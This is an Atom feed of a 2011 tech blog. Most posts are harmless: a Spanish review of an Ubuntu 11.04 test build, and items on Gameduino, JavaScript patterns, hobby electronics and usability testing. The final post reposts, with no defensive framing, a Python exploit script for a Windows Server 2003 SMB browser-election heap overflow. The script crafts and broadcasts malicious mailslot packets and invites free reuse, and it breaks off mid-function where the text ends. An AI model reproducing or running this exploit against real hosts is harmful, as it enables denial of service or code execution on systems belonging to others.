&lt;br /&gt;
Después&amp;nbsp;estan los efectos visuales que siempre fueron buenos, pero esta vez son mas elegantes que antes.&lt;br /&gt;
&lt;br /&gt;
Encontre bugs, como por ejemplo al usar ciertas combinaciones de teclas se craseaba (alt-tab por ejemplo).&lt;br /&gt;
&lt;br /&gt;
Se nota que no es final, tiene ciertos problemitas pero para mi que siempre use alphas y betas de k/ubuntu. A comparacion de la alpha de kubuntu, esta la rompe!&lt;br /&gt;
&lt;br /&gt;
Por ahora lo malo que le encontre (aparte de bugs) es el "editor" de imagenes que trae que es a mi gusto muy malo.&lt;br /&gt;
&lt;br /&gt;
Conclusion : todavia no esta para usar diariamente y laburar, crashea seguido. Pero para usar para algo menos critico como usuario&amp;nbsp;común&amp;nbsp;(navegar internet, email,etc) safa bastante.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-4571750025456846993?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/z-5nmCL2gOa2rQlpcTQqsr_NXH0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/z-5nmCL2gOa2rQlpcTQqsr_NXH0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/z-5nmCL2gOa2rQlpcTQqsr_NXH0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/z-5nmCL2gOa2rQlpcTQqsr_NXH0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/PHFQ6p-TFZI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/4571750025456846993/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=4571750025456846993" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/4571750025456846993?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/4571750025456846993?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/PHFQ6p-TFZI/probando-la-iso-diaria-de-ubuntu-1104.html" title="Probando  la iso diaria de Ubuntu 11.04 natty (version del 01/04/2011)" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-8wtVSOvVOCg/TZaDuHa0QTI/AAAAAAAAAco/u4Ne6lT-V1k/s72-c/IMAGE_139.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/04/probando-la-iso-diaria-de-ubuntu-1104.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkUGSX87eyp7ImA9Wx9aEkg.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-4791745934405895608</id><published>2011-03-04T07:57:00.000-08:00</published><updated>2011-03-04T07:57:08.103-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-04T07:57:08.103-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="arduino" /><title>Gameduino : arduino shield with FPGA</title><content type="html">&lt;iframe frameborder="0" height="410px" src="https://www.kickstarter.com/projects/2084212109/gameduino-an-arduino-game-adapter/widget/video.html" width="480px"&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="https://www.kickstarter.com/projects/2084212109/gameduino-an-arduino-game-adapter"&gt;Gameduino&lt;/a&gt; connects your Arduino to a VGA monitor and speakers, so anyone who can write an Arduino sketch can create video games. It's packed full of 8-bit game goodness: hundreds of sprites, smooth scrolling, multi-channel stereo sound.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-4791745934405895608?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/hYp1V7cxKIkMrTJ6i-GvZA1eBPo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hYp1V7cxKIkMrTJ6i-GvZA1eBPo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/hYp1V7cxKIkMrTJ6i-GvZA1eBPo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hYp1V7cxKIkMrTJ6i-GvZA1eBPo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/sj3Dv3Cx5mA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/4791745934405895608/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=4791745934405895608" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/4791745934405895608?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/4791745934405895608?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/sj3Dv3Cx5mA/gameduino-arduino-shield-with-fpga.html" title="Gameduino : arduino shield with FPGA" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/03/gameduino-arduino-shield-with-fpga.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUYHRH07fyp7ImA9Wx9bGUw.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-752211132445141742</id><published>2011-02-28T10:18:00.000-08:00</published><updated>2011-02-28T10:18:55.307-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-28T10:18:55.307-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="javascript" /><title>Essential JavaScript Design Patterns For Beginners  (free)</title><content type="html">&lt;a href="http://www.addyosmani.com/resources/essentialjsdesignpatterns/book/"&gt;Essential JavaScript Design Patterns For Beginners&lt;/a&gt; is a great guide with a lot of code examples.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-752211132445141742?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Y5gTDbyioPPmVqjzmR51NRBHU8Y/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Y5gTDbyioPPmVqjzmR51NRBHU8Y/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Y5gTDbyioPPmVqjzmR51NRBHU8Y/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Y5gTDbyioPPmVqjzmR51NRBHU8Y/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/XdE2wHJdT2o" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/752211132445141742/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=752211132445141742" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/752211132445141742?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/752211132445141742?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/XdE2wHJdT2o/essential-javascript-design-patterns.html" title="Essential JavaScript Design Patterns For Beginners  (free)" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/02/essential-javascript-design-patterns.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkYDSHs8fSp7ImA9Wx9bEEg.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-8563501357768402005</id><published>2011-02-18T09:29:00.000-08:00</published><updated>2011-02-18T09:29:39.575-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-18T09:29:39.575-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Electronics" /><category scheme="http://www.blogger.com/atom/ns#" term="freak" /><title>Ultra freak Working Aliens Motion Tracker</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-OFvgmTjMA1c/TV6sIt_KtYI/AAAAAAAAAb4/Vgb5HOQTixE/s1600/MyMT021.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://3.bp.blogspot.com/-OFvgmTjMA1c/TV6sIt_KtYI/AAAAAAAAAb4/Vgb5HOQTixE/s320/MyMT021.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;Check the video of this ultra freak motion tracker.&lt;/div&gt;&lt;br /&gt;
&lt;iframe allowfullscreen="" frameborder="0" height="390" src="http://www.youtube.com/embed/GyCftshYASE" title="YouTube video player" width="480"&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.plecterlabs.com/catalog/article_info.php?articles_id=93&amp;amp;language=en"&gt;Here is the log of the motion tracker with more information&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-8563501357768402005?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/45fQvESjyPxWk99EBIJhdJSWHDk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/45fQvESjyPxWk99EBIJhdJSWHDk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/45fQvESjyPxWk99EBIJhdJSWHDk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/45fQvESjyPxWk99EBIJhdJSWHDk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/D_68EviD33A" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/8563501357768402005/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=8563501357768402005" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/8563501357768402005?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/8563501357768402005?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/D_68EviD33A/ultra-freak-working-aliens-motion.html" title="Ultra freak Working Aliens Motion Tracker" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-OFvgmTjMA1c/TV6sIt_KtYI/AAAAAAAAAb4/Vgb5HOQTixE/s72-c/MyMT021.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/02/ultra-freak-working-aliens-motion.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkABRHc9fyp7ImA9Wx9UGUs.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-2629290397968560921</id><published>2011-02-17T10:52:00.000-08:00</published><updated>2011-02-17T10:52:35.967-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-17T10:52:35.967-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Electronics" /><title>Heart rate measurement from fingertip</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Gkp3X1H8BGk/TV1uLMURKCI/AAAAAAAAAbs/JYKZGWUPYao/s1600/HeartRateMeasurementBoard.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="201" src="http://4.bp.blogspot.com/-Gkp3X1H8BGk/TV1uLMURKCI/AAAAAAAAAbs/JYKZGWUPYao/s320/HeartRateMeasurementBoard.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px;"&gt;Heart rate measurement indicates the soundness of the human cardiovascular system. &lt;a href="http://embedded-lab.com/blog/?p=1671"&gt;This project demonstrates&lt;/a&gt; a technique to measure the heart rate by sensing the change in blood volume in a finger artery while the heart is pumping the blood. It consists of an infrared LED that transmits an IR signal through the fingertip of the subject, a part of which is reflected by the blood cells.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;object width="640" height="390"&gt;&lt;param name="movie" value="http://www.youtube.com/v/YoI-KtabbQw&amp;hl=en_US&amp;feature=player_embedded&amp;version=3"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/YoI-KtabbQw&amp;hl=en_US&amp;feature=player_embedded&amp;version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="390"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-2629290397968560921?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ORT_8qMSfejqDF-TC7ZmeM9B9rQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ORT_8qMSfejqDF-TC7ZmeM9B9rQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ORT_8qMSfejqDF-TC7ZmeM9B9rQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ORT_8qMSfejqDF-TC7ZmeM9B9rQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/Nag7Gn1F-Rk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/2629290397968560921/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=2629290397968560921" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/2629290397968560921?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/2629290397968560921?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/Nag7Gn1F-Rk/heart-rate-measurement-from-fingertip.html" title="Heart rate measurement from fingertip" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-Gkp3X1H8BGk/TV1uLMURKCI/AAAAAAAAAbs/JYKZGWUPYao/s72-c/HeartRateMeasurementBoard.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/02/heart-rate-measurement-from-fingertip.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUUFQn48cCp7ImA9Wx9UGUs.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-2015071064516142194</id><published>2011-02-17T10:26:00.000-08:00</published><updated>2011-02-17T10:26:53.078-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-17T10:26:53.078-08:00</app:edited><title>How to do usability testing on your web site</title><content type="html">&lt;h1 style="font-family: arial, sans-serif; font-size: 22px; line-height: 28px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Lucida Grande', arial, sans-serif; font-size: 12px; font-weight: normal; line-height: 18px;"&gt;&amp;nbsp;&lt;a href="http://www.usertesting.com/" style="color: #2299dd; text-decoration: none;" target="_blank" title="http://www.usertesting.com/"&gt;UserTesting.com&lt;/a&gt;. They provided what appeared to be a very simple service: you define a script of tasks you want someone to run through and identify some high level demographics of the kind of person you would like to have look at your site. You pay a set price ($39 / test or $29 / test when buying 3 tests initially). I did the three test option and the experience was excellent.&lt;/span&gt;&lt;/h1&gt;&lt;h1 style="font-family: arial, sans-serif; font-size: 22px; line-height: 28px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/h1&gt;&lt;blockquote&gt;If the only people that give you feedback on your web site are in your personal network (friends, family, colleagues, etc) then you really need to give low cost usability testing a try. You'll likely find out a lot about your site that you probably didn't know.&lt;/blockquote&gt;&lt;br /&gt;
&lt;h1 style="font-family: arial, sans-serif; font-size: 22px; line-height: 28px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;a href="http://sharedstatus.com/blog/how-to-do-usability-testing-on-your-web-site"&gt;How to do usability testing on your web site&lt;/a&gt;&lt;/h1&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-2015071064516142194?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Tpq6OtIZFYlTECUCJwP3shBSLEw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Tpq6OtIZFYlTECUCJwP3shBSLEw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Tpq6OtIZFYlTECUCJwP3shBSLEw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Tpq6OtIZFYlTECUCJwP3shBSLEw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/n8W_7R8Jmxs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/2015071064516142194/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=2015071064516142194" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/2015071064516142194?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/2015071064516142194?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/n8W_7R8Jmxs/how-to-do-usability-testing-on-your-web.html" title="How to do usability testing on your web site" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/02/how-to-do-usability-testing-on-your-web.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEQBQX04fip7ImA9Wx9UGEU.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-7415284003374563825</id><published>2011-02-16T10:52:00.000-08:00</published><updated>2011-02-16T10:52:30.336-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-16T10:52:30.336-08:00</app:edited><title>The dual-core phone that runs Ubuntu</title><content type="html">&lt;iframe allowfullscreen="" frameborder="0" height="390" src="http://www.youtube.com/embed/-kQlPbUb9Xk" title="YouTube video player" width="640"&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;br /&gt;
The Texas Intruments OMAP 4 chip inside it is based on ARM’s Cortex-A9 architecture and in the video below it’s shown running Android 2.3 and Ubunutu 10.04 simultaneously.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-7415284003374563825?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/cC2Q4dDBVG9UDLaYWY-XmDb1SgU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cC2Q4dDBVG9UDLaYWY-XmDb1SgU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/cC2Q4dDBVG9UDLaYWY-XmDb1SgU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/cC2Q4dDBVG9UDLaYWY-XmDb1SgU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/r5pWRpL-v1o" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/7415284003374563825/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=7415284003374563825" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/7415284003374563825?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/7415284003374563825?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/r5pWRpL-v1o/dual-core-phone-that-runs-ubuntu.html" title="The dual-core phone that runs Ubuntu" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/-kQlPbUb9Xk/default.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/02/dual-core-phone-that-runs-ubuntu.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU8DQ3k_eSp7ImA9Wx9UGE8.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-8335855361271736012</id><published>2011-02-15T18:37:00.000-08:00</published><updated>2011-02-15T18:37:52.741-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-15T18:37:52.741-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="heap overflow" /><title>New Windows zero-day SMB BROWSER ELECTION Remote Heap Overflow</title><content type="html">&lt;span class="Apple-style-span" style="color: #008200; font-family: Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; border-collapse: collapse; font-size: 14px; line-height: 15px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The vulnerability is reportedly in the "BowserWriteErrorLogEntry()" function within the "mrxsmb.sys" driver. &lt;br /&gt;
The successful exploitation may allow execution of arbitrary code. &lt;br /&gt;
&lt;br /&gt;
Author: Cupidon-3005&lt;br /&gt;
&lt;br /&gt;
Here is the exploit! &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="python"&gt;####################################################################################
#MS Windows Server 2003 AD Pre-Auth BROWSER ELECTION Remote Heap Overflow
#Release date: 2011-02-14
#Author: Cupidon-3005
#Greet: Winny Thomas, Laurent Gaffie, h07
#Bug: Heap Overflow
#Remote Exploitability: Unlikely
#Local Exploitability: Likely
#Context: Broadcast, Pre-Auth
#####################################################################################
#Mrxsmb.sys, around BowserWriteErrorLog+0x175, while trying to copy 1go from ESI to EDI ...
#Code will look something like this:
#if ((Len + 1) * sizeof(WCHAR)) &gt; TotalBufferSize) { Len = TotalSize/sizeof(WCHAR) - 1; }
#-1 causes Len to go 0xFFFFFFFF
#Feel free to reuse this code without restrictions...
 
import socket,sys,struct
from socket import *
 
if len(sys.argv)&lt;=4:   
 sys.exit("""usage: python sploit.py UR-IP BCAST-IP NBT-NAME AD-NAME
 example: python sploit.py 192.168.1.10 192.168.1.255 OhYeah AD-NETBIOS-NAME""")
 
ourip = sys.argv[1]
host = sys.argv[2]
srcname = sys.argv[3].upper()
dstname = sys.argv[4].upper()
 
 
ELEC            = "\x42\x4f\x00"
WREDIR          = "\x41\x41\x00"
 
def encodename(nbt,service):
    final = '\x20'+''.join([chr((ord(i)&gt;&gt;4) + ord('A'))+chr((ord(i)&amp;0xF) + ord('A')) for i in nbt])+((15 - len(nbt)) * str('\x43\x41'))+service
    return final
 
def lengthlittle(packet,addnum):
    length = struct.pack("&lt;i", len(packet)+addnum)[0:2]
    return length
 
def lengthbig(packet,addnum):
    length = struct.pack("&gt;i", len(packet)+addnum)[2:4]
    return length
 
def election(srcname):
    elec = "\x08"
    elec+= "\x09" #Be the boss or die
    elec+= "\xa8\x0f\x01\x20" #Be the boss or die
    elec+= "\x1b\xe9\xa5\x00" #Up time
    elec+= "\x00\x00\x00\x00" #Null, like SDLC
    elec+= srcname+"\x00"
    return elec
 
def smbheaderudp(op="\x25"):
    smbheader= "\xff\x53\x4d\x42"
    smbheader+= op
    smbheader+= "\x00"
    smbheader+= "\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00\x00\x00\x00\x00\x00\x00"
    smbheader+=  "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    smbheader+= "\x00\x00"
    return smbheader
 
 
def trans2mailslot(tid="\x80\x0b",ip=ourip,sname="LOVE-SDL",dname="SRD-LOVE",namepipe="\MAILSLOT\BROWSE",srcservice="\x41\x41\x00",dstservice="\x41\x41\x00",pbrowser=""):
    packetbrowser  =  pbrowser                            
    packetmailslot = "\x01\x00"                           
    packetmailslot+= "\x00\x00"                           
    packetmailslot+= "\x02\x00"                           
    packetmailslot+= lengthlittle(packetbrowser+namepipe,4)
    packetmailslot+= namepipe +"\x00"
    packetdatagram = "\x11"
    packetdatagram+= "\x02"
    packetdatagram+= tid
    packetdatagram+= inet_aton(ip)
    packetdatagram+= "\x00\x8a"
    packetdatagram+= "\x00\xa7"
    packetdatagram+= "\x00\x00"
    packetdatagramname = encodename(sname,srcservice)
    packetdatagramname+= encodename(dname,dstservice)
    smbheader= smbheaderudp("\x25")
    packetrans2 = "\x11"
    packetrans2+= "\x00\x00"
    packetrans2+= lengthlittle(packetbrowser,0)
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00"
    packetrans2+= "\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\xe8\x03\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= "\x00\x00"
    packetrans2+= lengthlittle(packetbrowser,0)
    packetrans2+= lengthlittle(smbheader+packetrans2+packetmailslot,4)
    packetrans2+= "\x03"
    packetrans2+= "\x00"
    andoffset = lengthlittle(smbheader+packetrans2+packetmailslot,2)
    lengthcalc = packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
    packetfinal = packetdatagram+packetdatagramname+smbheader+packetrans2+packetmailslot+packetbrowser
    packetotalength = list(packetfinal)
    packetotalength[10:12] = lengthbig(lengthcalc,0)
    packetrans2final = ''.join(packetotalength)
    return packetrans2final
 
def sockbroad(host,sourceservice,destservice,packet):
   s = socket(AF_INET,SOCK_DGRAM)
   s.setsockopt(SOL_SOCKET, SO_BROADCAST,1)
   s.bind(('0.0.0.0', 138))
   try:
      packsmbheader = smbheaderudp("\x25")
      buffer0 = trans2mailslot(tid="\x80\x22",ip=ourip,sname=srcname,dname=dstname,namepipe="\MAILSLOT\BROWSER",srcservice=sourceservice, dstservice=destservice, pbrowser=packet)
      s.sendto(buffer0,(host,138))
   except:
      print "expected SDL error:", sys.exc_info()[0]
      raise
  
